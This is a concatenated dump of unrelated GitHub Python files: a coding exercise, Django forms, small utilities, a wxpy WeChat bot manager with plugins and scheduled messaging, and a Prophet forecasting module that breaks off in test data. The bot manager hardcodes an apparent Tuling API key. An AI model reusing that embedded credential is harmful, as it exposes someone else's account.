69bc2b87b4e297ce71f450a7c46c546972fa3449
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/PSg77AZJGACk4a7gt_6.py
5bcd00492613d502e7d26232c6bfe6cf615fc660
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
737
py
""" For this challenge, forget how to add two numbers together. The best explanation on what to do for this function is this meme: ![Alternative Text](https://edabit-challenges.s3.amazonaws.com/caf.jpg) ### Examples meme_sum(26, 39) ➞ 515 # 2+3 = 5, 6+9 = 15 # 26 + 39 = 515 meme_sum(122, 81) ➞ 1103 # 1+0 = 1, 2+8 = 10, 2+1 = 3 # 122 + 81 = 1103 meme_sum(1222, 30277) ➞ 31499 ### Notes N/A """ def meme_sum(a, b): sum = "" c=0 if b>a: c=a a=b b=c a = str(a) b= str(b) i=0 while i < (len(a)-len(b)): sum = sum + a[i] i += 1 i = 0 while i < len(b): sum = sum + str((int(a[i+len(a)-len(b)])+ int(b[i]))) i += 1 return int(sum)
2f2a1743222841ff34512aa1889a1587bd61b5ce
c759ca98768dd8fd47621e3aeda9069d4e0726c6
/codewof/users/forms.py
211e37a2e4797d3fa23af236d3215009c7f787c4
[ "MIT" ]
permissive
lucyturn3r/codewof
50fc504c3a539c376b3d19906e92839cadabb012
acb2860c4b216013ffbba5476d5fac1616c78454
refs/heads/develop
2020-06-24T08:25:28.788099
2019-08-12T02:50:35
2019-08-12T02:50:35
198,912,987
0
0
MIT
2019-08-07T03:22:21
2019-07-25T23:17:17
Python
UTF-8
Python
false
false
1,132
py
"""Forms for user application.""" from django.forms import ModelForm from django.contrib.auth import get_user_model, forms User = get_user_model() class SignupForm(ModelForm): """Sign up for user registration.""" class Meta: """Metadata for SignupForm class.""" model = get_user_model() fields = ['first_name', 'last_name'] def signup(self, request, user): """Extra logic when a user signs up. Required by django-allauth. """ user.first_name = self.cleaned_data['first_name'] user.last_name = self.cleaned_data['last_name'] user.save() class UserChangeForm(forms.UserChangeForm): """Form class for changing user.""" class Meta(forms.UserChangeForm.Meta): """Metadata for UserChangeForm class.""" model = User fields = ('email', 'last_name') class UserCreationForm(forms.UserCreationForm): """Form class for creating user.""" class Meta(forms.UserCreationForm.Meta): """Metadata for UserCreationForm class.""" model = User fields = ('email', 'first_name', 'last_name')
f0305eec604f96a1c795b04494e5e2bd3d1ca417
14df5d90af993150634e596c28cecf74dffe611f
/imghdr_test.py
2c67ccbd0946c5e2ff7d38098fb675ccc446307d
[]
no_license
mamaker/IntroPy
7a0614905b95ab5c15ac94b1245278c3ae5d4ce0
dfea20eb465077e3512c878c549529a4b9282297
refs/heads/master
2020-05-09T18:26:16.681103
2019-04-23T01:05:31
2019-04-23T01:05:31
181,342,054
0
0
null
null
null
null
UTF-8
Python
false
false
201
py
# -*- coding: utf-8 -*- """ imghdr_test.py Created on Sat Apr 20 11:19:17 2019 @author: madhu """ import imghdr file_name = 'oreilly.png' print('File', file_name,'is a:', imghdr.what(file_name))
939bbd7bf7728c85e4103fe291379ff7cc85c868
6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4
/K9w9hEd9Pn7DtMzjs_19.py
2d21f26206d7f537dd96e25ad0563a243041c849
[]
no_license
daniel-reich/ubiquitous-fiesta
26e80f0082f8589e51d359ce7953117a3da7d38c
9af2700dbe59284f5697e612491499841a6c126f
refs/heads/master
2023-04-05T06:40:37.328213
2021-04-06T20:17:44
2021-04-06T20:17:44
355,318,759
0
0
null
null
null
null
UTF-8
Python
false
false
113
py
def high_low(txt): lst = [int(char) for char in txt.split(" ")] return str(max(lst)) + " " + str(min(lst))
fe67feca053463568fa8d800a270e350be30e94d
0042c37405a7865c50b7bfa19ca531ec36070318
/new_selenium/tech_singelmodel/singel_config.py
f8378ef130aefcd4a7dfb737f7add632fdc2dde0
[]
no_license
lu-judong/untitled1
b7d6e1ad86168673283917976ef0f5c2ad97d9e0
aa158e7541bae96332633079d67b5ab19ea29e71
refs/heads/master
2022-05-23T18:55:45.272216
2020-04-28T09:55:38
2020-04-28T09:55:38
257,822,681
0
0
null
null
null
null
UTF-8
Python
false
false
140
py
# contents = ['运营数据统计分析系统','单一模型指标分析'] contents = ['RAMS运营数据分析','单一模型指标分析']
ef20bd88e4759476dcc75c3f6b7922cfabf9032f
1e7ce1c56f3030aa6df1e928bab559f50c59bad5
/helper/bot_manager.py
e3e802244de0a4ed2bbaeaf01f2ee440f75652ae
[]
no_license
AIRob/WxRobot
f7fe37331c399a9d7fb467c7e913f10cc981f8eb
b27a48edb44694d4faa349d68d9b753fe4063276
refs/heads/master
2020-06-05T04:53:11.310909
2019-05-17T06:46:30
2019-05-17T06:46:30
null
0
0
null
null
null
null
UTF-8
Python
false
false
25,571
py
import json import base64 from threading import Thread from multiprocessing import Process import time from wxpy import * from databases import models from . import plugs_manager import re import requests from multiprocessing import Pipe import os import threading from helper.channels_manager import cm from .plugs_manager import plugs_management as pm from .debug import debug # from wordcloud import WordCloud # import jieba # import matplotlib.pyplot as plt # import numpy as np # from PIL import Image class Data_analysis(Thread): def __init__(self, Bot ,callback_analysis_result,username): super().__init__() self.Bot = Bot self.puid = Bot.user_details(Bot.self).puid self.Bot.result = None self.callback_analysis_result = callback_analysis_result self.username = username def run(self): # 获取所有好友 friends = self.Bot.friends(update=True) # 获取好友的数量 friends_count = len(friends[1:]) # 获取群聊数量 # 一些不活跃的群可能无法被获取到,可通过在群内发言,或修改群名称的方式来激活 groups_count = len(self.Bot.groups(update=True)) # 获取公众号数量 msp_count = len(self.Bot.mps(update=True)) # 获取所有人的性别 gender_statistics = {'male': len(friends.search(sex=MALE)), 'female': len( friends.search(sex=FEMALE)), 'secrecy': len(friends.search(sex=None))} # 获取所有人的个性签名 signatures = {i.name: i.signature for i in friends} # 创建词云 # world_cloud = self.create_world_cloud(signatures,'/home/tarena/WxRobot/homepage/static/img/color_mask.jpg') # 获取所有人的所在城市 region = {f.name: f.province for f in friends} result_data = { 'friends_count': friends_count, 'groups_count': groups_count, 'msp_count': msp_count, # 'world_cloud':world_cloud, 'gender_statistics': gender_statistics, 'region': region } # print(result_data) self.callback_analysis_result(result_data,self.username) def create_world_cloud(self, text, img_path): text = text color_mask_path = img_path cut_text = " ".join(jieba.cut(" ".join(text))) color_mask = np.array(Image.open(color_mask_path)) cloud = WordCloud( # 设置字体,不指定就会出现乱码 # font_path=" C:\\Windows\\Fonts\\STXINGKA.TTF", # 设置背景色 background_color='white', # 词云形状 mask=color_mask, # 允许最大词汇 max_words=2000, # 最大号字体 max_font_size=40, ) wCloud = cloud.generate(cut_text) # 返回生成好词云对象 world_cloud = wCloud.to_image().tobytes() return world_cloud # return base64.b64encode(world_cloud).decode() class Create_world_cloud(Thread): def __init__(self, text, img_path): """ 功能:将text按照img的形状做呈现出词云 :param text 需要呈现的文字,词组 :param color_mask_path 参照图路径地址 :return 制作完成的bytes格式图片 """ super().__init__() self.text = text self.img_path = img_path self.world_cloud = None def run(): text = self.text color_mask_path = self.img_path cut_text = " ".join(jieba.cut(" ".join(text))) color_mask = np.array(Image.open(color_mask_path)) cloud = WordCloud( # 设置字体,不指定就会出现乱码 # font_path=" C:\\Windows\\Fonts\\STXINGKA.TTF", # 设置背景色 background_color='white', # 词云形状 mask=color_mask, # 允许最大词汇 max_words=2000, # 最大号字体 max_font_size=40, ) wCloud = cloud.generate(cut_text) # 返回生成好词云对象 self.world_cloud = wCloud.to_image() def get_bytes_cloud(self): ''' :return bytest格式的词云图片 ''' if self.world_cloud: return self.world_cloud.tobytes() else: return None def get_str_cloud(self): ''' :return str格式的词云图片 ''' if self.world_cloud: image = self.world_cloud.tobytes() return self.imageToStr(image) else: return None def imageToStr(self, image): # 先将图片转换位byte类型,然后再转换为str image_str = base64.b64encode(image).decode('ascii') return image_str class Robot_management(): def __init__(self): self.robots = {} def get_basic_data(self, puid , username): """ 初始化登陆者的详细信息 :param bot_uuid 机器人的uuid标识符 :return 名称、头像,微信ID """ bot = self.get_bot(puid) if not bot: return None try: print("get_basic_data:-----------------------------",bot) # 获取登陆者的详细信息 user_details = bot.user_details(bot.self) user = models.UserInfo.objects.get(username = username) # 获取插件用户所拥有插件信息 plug_querys = user.userplugs_set.all() user_plugs = [plug_query for plug_query in plug_querys if plug_query.plug.isActive] plug_all = models.Plugs.objects.filter(isActive = True).all() plug_shops = [plug for plug in plug_all] print("plug_shops",plug_shops) print("plugs",user_plugs) # 获取用户的定时发送信息 regularlysend_info = { 'timer':user.timer, 'text':user.text, 'repetition':user.repetition, 'timer_send_isActive':user.timer_send_isActive } details={ # 微信名称 'user_name':user_details.name, # 微信头像 'avatar':base64.b64encode(user_details.get_avatar()).decode() , # 微信ID号 'status':'正常', # 性别 'sex' : user_details.sex, # 省份 'province' : user_details.province, # 城市 'city' : user_details.city, # 个性签名 'signature' : user_details.signature, # 用户的插件 'user_plugs':user_plugs, # 插件商店 'plug_shops':plug_shops, # 当前登录的用户名 'username':username, # 消息提示语 'clues':user.clues, # 当前用户的定时发送信息 'regularlysend_info':regularlysend_info, } # print("登录这的基本信息如下:",details) return details except: return None def start_data_analysis(self,puid,username): """ 数据分析入口函数 """ print("开始进行数据分析") bot = self.get_bot(puid) data_analysis = Data_analysis(bot,self.callback_analysis_result,username = username) data_analysis.start() def callback_analysis_result(self,data,username): """ 数据分析完成后的回调函数 """ for _ in range(3): cm.reply_channel_send(username,{ 'analysis_result':data } ) time.sleep(2) def get_data_intelligent(self,puid,username,data_intelligent=None): """ 同步的方式获取好友和群组信息 """ #已被选中的好友 select_friends =[f.fid for f in models.SelectedFriends.objects.all()] #已被选中的群组 select_groups = [g.gid for g in models.SelectedGroups.objects.all()] # print(dir(select_friends),select_groups,sep="\n") print("正在:同步的方式获取好友和群组信息") bot = self.get_bot(puid) # 获取登陆者的好友和群组的详细信息 groups = bot.groups(update = True) group_infos = [] for group in groups: group.update_group(True) gname = group.name # print("群名称:",gname) gowner = group.owner.name #群主 # print("群主:",gowner) #所有群成员 members = group.members # print("群内成员:",group.members) # 统计性别 mtfratio = {'male':len(members.search(sex=MALE)),'female':len(members.search(sex=FEMALE)),'secrecy':len(members.search(sex=None))} # print(mtfratio) selected = True if group.puid in select_groups else False # print("group_selected:",selected) pcount = len(members) #群成员数量 group_infos.append({'gname':gname,'gowner':gowner,'pcount':pcount,'mtfratio':mtfratio,'puid':group.puid,'selected':selected}) # group_infos.append({'gname':gname,'gowner':gowner,'pcount':pcount,'puid':group.puid}) friends = bot.friends(update=True)[1:] user_infos = [] sex_dict = {0:'保密',1:'男',2:'女'} for friend in friends: uname = friend.name usex = sex_dict[friend.sex] puid = friend.puid selected = True if friend.puid in select_friends else False # print("friend_selected",selected) user_infos.append({'uname':uname,'usex':usex,'puid':friend.puid,'selected':selected}) ug_detail_info={'user_info':user_infos,'group_info':group_infos} # 如果回调函数不为空,则调用回调函数 if data_intelligent: print("调用回调函数返回:data_intelligent") data_intelligent(ug_detail_info,username) #直接返回 else: print("直接返回:data_intelligent") return ug_detail_info def start_data_intelligent(self,puid,username): """ 异步的方式获取好友和群组数据 return : 通过回调函数"callback_data_intelligent"反馈结果,参数为:data,username """ # 创建线程 data_intelligent = Thread( target=self.get_data_intelligent, args=( puid,username, self.callback_data_intelligent )) data_intelligent.start() print('启动:start_data_intelligent') def callback_data_intelligent(self,data,username): """ 数据分析完成后的回调函数 """ # print(data,username) # channel = lc.get_channels(username=username) # while not channel: # channel = lc.get_channels(username=username) # time.sleep(1) for _ in range(3): cm.reply_channel_send(username,{ 'intelligent_result':data } ) time.sleep(2) def callback_analysis_result(self,data,username): """ 智能聊天模块加载完成后的回调函数 """ # channel = lc.get_channels(username=username) # while not channel: # channel = lc.get_channels(username=username) # time.sleep(1) # channel.reply_channel.send({ # 'text': json.dumps({ # 'analysis_result':data # }) # }) for _ in range(3): cm.reply_channel_send(username,{ 'analysis_result':data } ) time.sleep(2) # 增加需要被管理的机器人 def add_bot(self, puid, bot ,username): """ 用于将需要被管理的机器人线程加入进来 :param bot_uuid * 机器人的uuid号 :param bot """ print("添加时pid",os.getpid()) fs = Functional_scheduler(bot,username) self.robots[puid] =[bot,fs] # fs.setDaemon(True) fs.start() def get_bot(self, puid): print('get_bot') try: # def func(): # print('子进程PID:%s'%os.getpid()) # bot = self.robots.get(puid) # if bot: # print(bot[0]) # return bot[0] # for _ in range(10): # p = Process(target=func) # p.start() # pass # pid = os.fork() # if pid < 0: # print('创建进程失败') # elif pid == 0: # print('子进程PID:%s'%os.getpid()) # bot = self.robots.get(puid) # if bot: # return bot[0] # else: # sleep(0.5) # print('父进程PID:%s'%os.getpid()) print("获取时pid",os.getpid()) return self.robots[puid][0] # for i in range(1,10): # bot = self.robots.get(puid) # if bot: # print("get_bot------------------------", bot) # return bot[0] # else: # print('没有获取到,尝试下一次获取...') # time.sleep(0.1) #0.1,0.2... # else: # return None except: return None def get_fs(self,puid): try: return self.robots[puid][1] except: return None def del_bot(self,puid): bot = self.get_bot(puid) bot.registered.disable() del self.robots[puid] def select_obj(self,puid): # 获取Functional_scheduler对象 fs = self.get_fs(puid) # 获取所有的好友和群组信息 friends_all = fs.friends_all groups_all = fs.groups_all # 从数据库中获取所有已经被选中的好友和群组puid m_friends = models.SelectedFriends.objects.all() m_groups = models.SelectedGroups.objects.all() select_friends = [] select_groups = [] for f in m_friends: friend = friends_all.search(puid =f.fid) if friend: select_friends.append(friend[0]) for g in m_groups: group = groups_all.search(puid =g.gid) if group: select_groups.append(group[0]) return {'select_friends':select_friends,'select_groups':select_groups} robot_management = Robot_management() class Functional_scheduler(Thread): def __init__(self,bot,username): super().__init__() self.bot = bot self.username = username self.friends = [] self.groups = [] self.select_function = {} self.regularly_send_flag =True # 获取所有的好友和群组对象 self.friends_all = bot.friends() #获取更新好友列表 self.groups_all = bot.groups() def run(self): self.functional_scheduler() def functional_scheduler(self): bot = self.bot friends = self.friends groups = self.groups tuling = Tuling(api_key='91bfe84c2b2e437fac1cdb0c571cac91') def get_plug(msg): """ 获取插件方法和插件所在路径 """ try: msg_type = msg.type print('消息类型:',msg_type) print("select_function:",self.select_function[msg_type]) # 用已注册除all外的所有插件去匹配消息内容 for keyword in self.select_function[msg_type]: if msg_type != "Text": continue res = re.search(keyword,msg.text) if res: print("匹配结果:",res.group()) print(keyword) function_name = self.select_function[msg.type][keyword].get('attr_name') plug_dir = self.select_function[msg.type][keyword].get('plug_dir') break # 如果用没有匹配到任何内容,则使用all来匹配 else: function = self.select_function[msg.type] print(function) if function.get("None"): function_name = function["None"].get('attr_name') plug_dir = function["None"].get('plug_dir') else: print("没有匹配到function") return None ,None print("匹配到的function_name为:",function_name) return pm.register_plugs[function_name].main,plug_dir except Exception as e: print('获取方法出错',e) return None ,None def message_parser(msg): """ 解析接受到的消息并进行解析 选择合适的插件进行处理 :params 接收到的消息对象 :return plug """ fd1,fd2 = Pipe(duplex=False) function,plug_dir = get_plug(msg) print(function) if function: # 创建一个用于自动回复的进程 p = Process(target=function,args=(msg,plug_dir,fd2)) p.start() # msg.reply("消息处理中...") # # 阻塞等待消息处理完毕 p.join() result = fd1.recv() # 关闭管道 fd1.close() try: if type(result) == list: for line in result: # print(line) yield line else: yield result except Exception as e: print('获取插件返回结果出现错误:',e) return ("执行插件失败"+e) print(ret) return ret # 图灵回复 @bot.register(self.friends) def friends_message(msg): print('[接收来自好友:]' + str(msg)) # 对接受到的消息进行解析 # 并根据消息类型选择插件进行处理 # 获取消息的解析结果 # ret = message_parser(msg) # 图片 # msg.reply('@img@/home/tarena/WxRobot/static/upload/Plugs/Web_Image2/timg.jpg') # 视频 # msg.reply("@vid@/home/tarena/WxRobot/static/upload/Plugs/Auto_Ai/f66ee8c095d1e3e448bc4e69958cda9e.mp4") # 文件 # msg.repl("@fil@/home/tarena/WxRobot/wxRobot/urls.py") for info in message_parser(msg): print(info) content_type = info.get('type') if content_type== "@msg@" or not content_type: ret = info['content'] else: ret = content_type +info['content'] print(type(ret)) print('发送消息:',ret) msg.reply(ret) @bot.register(self.groups) def group_message(msg): print('[接收来自群聊:]' + str(msg)) if msg.is_at: # 对接受到的消息进行解析 # 并根据消息类型选择插件进行处理 # 获取消息的解析结果 ret = message_parser(msg) print('[发送]' + str(ret)) return ret def refresh_listening_obj(self,puid): print('================----------------================') bot = robot_management.get_bot(puid) print(puid,bot,sep='\n') # 获取所有的好友和群组对象 friends = self.friends_all groups = self.groups_all # 从数据库中获取所有已经被选中的好友和群组puid m_friends = models.SelectedFriends.objects.all() m_groups = models.SelectedGroups.objects.all() # 用从数据库中查找出已被选中的好友或者群组Puid获取对应的对象 select_friends = [] select_groups = [] # 清空上一次的选中的内容 self.friends.clear() self.groups.clear() # 两种方法,列表生成式和普通遍历 # self.friends = [friends.search(puid == f.puid) for f in m_friends if friends.search(puid == f.puid)] for f in m_friends: friend = friends.search(puid =f.fid) if friend and friend[0] not in self.friends: # print("添加好友:",friend[0]) self.friends.append(friend[0]) # self.groups = [groups.search(puid == g.puid) for g in m_groups if groups.search(puid == g.puid)] for g in m_groups: group = groups.search(puid =g.gid) if group and groups[0] not in self.groups: # print("添加群聊:",group[0]) self.groups.append(group[0]) # print(self.friends,self.groups,sep="\n") def refresh_function(self): # 获取插件用户所拥有插件信息 plug_querys = models.UserInfo.objects.filter(username = self.username).first().userplugs_set.filter(isActive=True) # 清空所有原先功能状态 self.select_function.clear() self.select_function = {"Text":{},"Map":{},"Card":{},"Note":{},"Sharing":{},"Picture":{}, "Recording":{}, "Attachment":{}, "Video":{}, "Friends":{}, "System":{}, } for plug_query in plug_querys: # 如果插件没有激活 if not plug_query.plug.isActive: continue # 获取插件属性 plug = plug_query.plug # 获取插件存储路径 file_path = plug.plug.path # 获取调用方法名 l = file_path.split("/") attr_name = l[-1:][0][:-4] # 将包名的首字母转换为大写,然后作为文件夹名称 dir_name = l[-1][:-4].title() # 将路径和文件名成拼接,组成新的路径 plug_dir = "/".join( l[:-1] )+"/"+dir_name print(plug_dir) self.select_function[plug.msg_type][str(plug.wake_word)] = { 'title':plug.ptitle, 'pdescribe':plug.pdescribe, 'attr_name':attr_name, 'plug_dir':plug_dir, } print("select_function",self.select_function) def refresh_regularly_send(self): user= models.UserInfo.objects.filter(username=self.username).first() print('dir',dir(user.timer)) timer = user.timer.strftime('%H:%M') # 将时间字符串转换为时间戳 h,m = timer.strip().split(':') seconds = int(h)*3600+int(m)*60 print("{0}被转换成时间戳后为:{1}".format(user.timer,seconds)) res_dict = { "seconds" : seconds, "repetition" : user.repetition, "text":user.text, "timer_send_isActive" : user.timer_send_isActive, } return res_dict def stop_regularly_send(self): # self.regularly_send_flag = False try: #终止定时发送线程 debug.kill_thread(self.regularly_send_thread) except Exception as e: print('终止定时发送线程失败!!!',e) return False return True def start_regularly_send(self,seconds,text,repetition): # 获取puid身份标识符 puid = self.bot.user_details(self.bot.self).puid select_obj = robot_management.select_obj(puid) print(seconds,text,repetition) def run(): while True: print('正在等待....') time.sleep(seconds) # 给所有被关注的好友或者群聊发送提示信息 for item in select_obj: for friend in select_obj[item]: friend.send(text) print('发送给:',friend) # 为了防止发送消息频率过快导致意想不到的后果 # 这里每发送一条消息,休息0.5秒 time.sleep(0.5) if repetition == "once": user= models.UserInfo.objects.filter(username=self.username).first() user.timer_send_isActive = False user.save() print('发送完毕') break self.regularly_send_thread = Thread(target=run) self.regularly_send_thread.start()
4f48a8ed86212b4798e38875b2970b4d6d92420d
7e9b15d1793aaee5873d0047ed7dd0f47f01d905
/series_tiempo_ar_api/apps/analytics/elasticsearch/constants.py
0626fc0e4cfa298137da7d090e046ca718473e69
[ "MIT" ]
permissive
SantiagoPalay/series-tiempo-ar-api
9822b7eac5714c1ed07ee11664b3608f1fc3e9cf
c0c665fe4caf8ce43a5eb12962ee36a3dd6c2aa4
refs/heads/master
2020-04-24T19:41:02.857554
2019-02-21T14:43:23
2019-02-21T14:43:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
553
py
from series_tiempo_ar_api.libs.indexing.constants import \ VALUE, CHANGE, PCT_CHANGE, CHANGE_YEAR_AGO, PCT_CHANGE_YEAR_AGO SERIES_QUERY_INDEX_NAME = 'query' REP_MODES = [ VALUE, CHANGE, PCT_CHANGE, CHANGE_YEAR_AGO, PCT_CHANGE_YEAR_AGO, ] AGG_DEFAULT = 'avg' AGG_SUM = 'sum' AGG_END_OF_PERIOD = 'end_of_period' AGG_MAX = 'max' AGG_MIN = 'min' AGGREGATIONS = [ AGG_DEFAULT, AGG_SUM, AGG_END_OF_PERIOD, AGG_MAX, AGG_MIN, ] PARAM_REP_MODE = 'representation_mode' PARAM_COLLAPSE_AGG = 'collapse_aggregation'
6b52ad8453b36735d8731816f36404c955c16449
0a06d43477d8080493b28b98e5a2df56cff6ae1f
/lesson_1/test.py
3db28e509163dfe048aad274380169fc59845a43
[]
no_license
mpaolini/python-course-IAL-TSID
51623476f7dd7cd249adc0956df2c71fa966629b
071468c5fc7754385aef16e97b12ef273536b433
refs/heads/master
2016-09-05T09:45:57.629103
2015-06-04T12:34:59
2015-06-04T12:34:59
31,312,626
0
3
null
null
null
null
UTF-8
Python
false
false
43
py
def ciao(): print('Hello!!!!') ciao()
a665bef85088b02f9afefbab6d33cec9c86181e8
b7cfdeb15b109220017a66ed6094ce890c234b74
/AI/deep_learning_from_scratch/numpy_prac/multidimensional_array.py
f4bcc03331c3e16239389b8444d40b2f660af3db
[]
no_license
voidsatisfaction/TIL
5bcde7eadc913bdf6f5432a30dc9c486f986f837
43f0df9f8e9dcb440dbf79da5706b34356498e01
refs/heads/master
2023-09-01T09:32:04.986276
2023-08-18T11:04:08
2023-08-18T11:04:08
80,825,105
24
2
null
null
null
null
UTF-8
Python
false
false
188
py
import numpy as np B = np.array([[1, 2], [3, 4], [5, 6]]) B np.ndim(B) # 2 B.shape # (3,2) 3x2 행렬 A = np.array([[1,2,3], [4,5,6]]) B = np.array([[1,2], [3,4], [5,6]]) np.dot(A, B)
1457243d3f4ccfa460915b008bfdd848f9970fe5
cf7b0ab779e273c3a553fa7e6ca4e98c524ec8f9
/JKDatabaseSystem/predict.py
d55f3908698c089bdba163affcb10aea25be2673
[]
no_license
zenmeder/JKDatabaseSystem
369a40172420eb1f783467b5884e6e94f6fa9a71
146a552e549c9a1ef131bb475ecf5e8947696a6c
refs/heads/master
2020-03-19T09:12:41.774587
2018-06-12T03:04:56
2018-06-12T03:04:56
136,268,860
0
0
null
null
null
null
UTF-8
Python
false
false
40,410
py
#!/usr/local/bin/ python3 # -*- coding:utf-8 -*- # __author__ = "zenmeder" from django.shortcuts import render from django.http import HttpRequest, JsonResponse from JKDatabaseSystem.TimeSeriesData import TimeSeriesData from fbprophet import Prophet import datetime import pandas as pd TEST_DATA = {0: {'2014-03-07 12:00:00': 1.2120997914767013, '2014-03-06 12:00:00': 1.2116781135882257, '2014-03-08 12:00:00': 1.212471194311644, '2014-03-09 12:00:00': 1.3844232263987608, '2014-03-05 12:00:00': 1.1638272230171982, '2014-03-04 12:00:00': 0.923545255041049, '2014-03-03 12:00:00': 0.9175520826485787}, 1: {'2014-03-07 12:00:00': 1.5332522218575242, '2014-03-06 12:00:00': 1.526531461767218, '2014-03-08 12:00:00': 1.5032414834593189, '2014-03-09 12:00:00': 1.746297246223891, '2014-03-05 12:00:00': 1.4674655977033975, '2014-03-04 12:00:00': 1.2717764396516358, '2014-03-03 12:00:00': 1.2615316161024095}, 2: {'2014-03-07 12:00:00': 1.9056879239927216, '2014-03-06 12:00:00': 1.9107812337316765, '2014-03-08 12:00:00': 1.8803181902752815, '2014-03-09 12:00:00': 2.2351995060468397, '2014-03-05 12:00:00': 1.8487757217452507, '2014-03-04 12:00:00': 1.6206211133231647, '2014-03-03 12:00:00': 1.6132048802520231}, 3: {'2014-03-07 12:00:00': 2.7648248924746555, '2014-03-06 12:00:00': 2.765424163206701, '2014-03-08 12:00:00': 2.7143788840420155, '2014-03-09 12:00:00': 3.2498322455157282, '2014-03-05 12:00:00': 2.6398536732133184, '2014-03-04 12:00:00': 2.2662173607694855, '2014-03-03 12:00:00': 2.327574529632627}, 4: {'2014-03-07 12:00:00': 2.942128586128699, '2014-03-06 12:00:00': 2.8785318972685685, '2014-03-08 12:00:00': 2.9828077878812005, '2014-03-09 12:00:00': 3.4763916714020855, '2014-03-05 12:00:00': 2.754313124906797, '2014-03-04 12:00:00': 2.481293746052308, '2014-03-03 12:00:00': 2.459704508317135}, 5: {'2014-03-07 12:00:00': 3.2908987516516612, '2014-03-06 12:00:00': 3.172392885446487, '2014-03-08 12:00:00': 3.375353720692149, '2014-03-09 12:00:00': 3.908655020842233, '2014-03-05 12:00:00': 3.0087293483987163, '2014-03-04 12:00:00': 2.7427631510741044, '2014-03-03 12:00:00': 2.725082364776283}, 6: {'2014-03-07 12:00:00': 4.016937766844582, '2014-03-06 12:00:00': 3.871594782494509, '2014-03-08 12:00:00': 4.192399547414983, '2014-03-09 12:00:00': 4.759177257125063, '2014-03-05 12:00:00': 3.5857646753894894, '2014-03-04 12:00:00': 3.278758996200701, '2014-03-03 12:00:00': 3.2673703429609158}, 7: {'2014-03-07 12:00:00': 4.249328689335783, '2014-03-06 12:00:00': 4.117491829368469, '2014-03-08 12:00:00': 4.51199924642879, '2014-03-09 12:00:00': 5.0653542866016075, '2014-03-05 12:00:00': 3.7731758323126265, '2014-03-04 12:00:00': 3.467087436901849, '2014-03-03 12:00:00': 3.471268452445188}, 8: {'2014-03-07 12:00:00': 3.811902138323838, '2014-03-06 12:00:00': 3.6883455892241446, '2014-03-08 12:00:00': 4.0792415800205974, '2014-03-09 12:00:00': 4.59010842097665, '2014-03-05 12:00:00': 3.4181845389246015, '2014-03-04 12:00:00': 3.1682675709825032, '2014-03-03 12:00:00': 3.153356120237021}, 9: {'2014-03-07 12:00:00': 4.149166488628491, '2014-03-06 12:00:00': 3.999057043628336, '2014-03-08 12:00:00': 4.4594411031546635, '2014-03-09 12:00:00': 4.957426808876585, '2014-03-05 12:00:00': 3.6695771425118138, '2014-03-04 12:00:00': 3.3906903796106946, '2014-03-03 12:00:00': 3.3880598498533527}, 10: {'2014-03-07 12:00:00': 4.384639989493111, '2014-03-06 12:00:00': 4.204154127202213, '2014-03-08 12:00:00': 4.71488328203959, '2014-03-09 12:00:00': 5.209739875899027, '2014-03-05 12:00:00': 3.848877365526905, '2014-03-04 12:00:00': 3.5181726391119734, '2014-03-03 12:00:00': 3.512480025409349}, 11: {'2014-03-07 12:00:00': 4.517181669974732, '2014-03-06 12:00:00': 4.330482943290319, '2014-03-08 12:00:00': 4.86326621966086, '2014-03-09 12:00:00': 5.357100433873345, '2014-03-05 12:00:00': 3.9633065077069487, '2014-03-04 12:00:00': 3.6091081208469173, '2014-03-03 12:00:00': 3.603359593180855}, 12: {'2014-03-07 12:00:00': 4.557598715893092, '2014-03-06 12:00:00': 4.374477765462619, '2014-03-08 12:00:00': 4.933074080818161, '2014-03-09 12:00:00': 5.440007577777552, '2014-03-05 12:00:00': 3.9845184589823064, '2014-03-04 12:00:00': 3.6136473900928774, '2014-03-03 12:00:00': 3.609645412133984}, 13: {'2014-03-07 12:00:00': 4.728690722889779, '2014-03-06 12:00:00': 4.52902885917943, '2014-03-08 12:00:00': 5.14273875705736, '2014-03-09 12:00:00': 5.680146825864299, '2014-03-05 12:00:00': 4.11998079263715, '2014-03-04 12:00:00': 3.758363880183923, '2014-03-03 12:00:00': 3.7521766772034013}, 14: {'2014-03-07 12:00:00': 4.8537859980512446, '2014-03-06 12:00:00': 4.638226404885125, '2014-03-08 12:00:00': 5.287801696414493, '2014-03-09 12:00:00': 5.842171521319935, '2014-03-05 12:00:00': 4.211573084684768, '2014-03-04 12:00:00': 3.8264791745104647, '2014-03-03 12:00:00': 3.8209117935860215}, 15: {'2014-03-07 12:00:00': 4.982300026547082, '2014-03-06 12:00:00': 4.752562880142724, '2014-03-08 12:00:00': 5.441753639660359, '2014-03-09 12:00:00': 6.0001587431620695, '2014-03-05 12:00:00': 4.30634085936811, '2014-03-04 12:00:00': 3.8705389877221936, '2014-03-03 12:00:00': 3.8746108763515266}, 16: {'2014-03-07 12:00:00': 4.995966460997572, '2014-03-06 12:00:00': 4.767340163151203, '2014-03-08 12:00:00': 5.464534708368071, '2014-03-09 12:00:00': 6.000740981011272, '2014-03-05 12:00:00': 4.3131606149311414, '2014-03-04 12:00:00': 3.880692107624679, '2014-03-03 12:00:00': 3.8788034848045116}, 17: {'2014-03-07 12:00:00': 5.154862121185602, '2014-03-06 12:00:00': 4.900485703428413, '2014-03-08 12:00:00': 5.6159678142401575, '2014-03-09 12:00:00': 6.167685862363228, '2014-03-05 12:00:00': 4.434083024428246, '2014-03-04 12:00:00': 3.9870079934175386, '2014-03-03 12:00:00': 3.986751311062997}, 18: {'2014-03-07 12:00:00': 5.202712863419298, '2014-03-06 12:00:00': 4.9177122107075375, '2014-03-08 12:00:00': 5.6475633199310735, '2014-03-09 12:00:00': 6.180290734451574, '2014-03-05 12:00:00': 4.448718125300234, '2014-03-04 12:00:00': 4.031285430809366, '2014-03-03 12:00:00': 4.023532920455256}, 19: {'2014-03-07 12:00:00': 5.253318618860409, '2014-03-06 12:00:00': 4.966696927687657, '2014-03-08 12:00:00': 5.698002915940261, '2014-03-09 12:00:00': 6.263456286256881, '2014-03-05 12:00:00': 4.482473823721926, '2014-03-04 12:00:00': 4.053803113702857, '2014-03-03 12:00:00': 4.058210624430443}, 20: {'2014-03-07 12:00:00': 5.24728564099078, '2014-03-06 12:00:00': 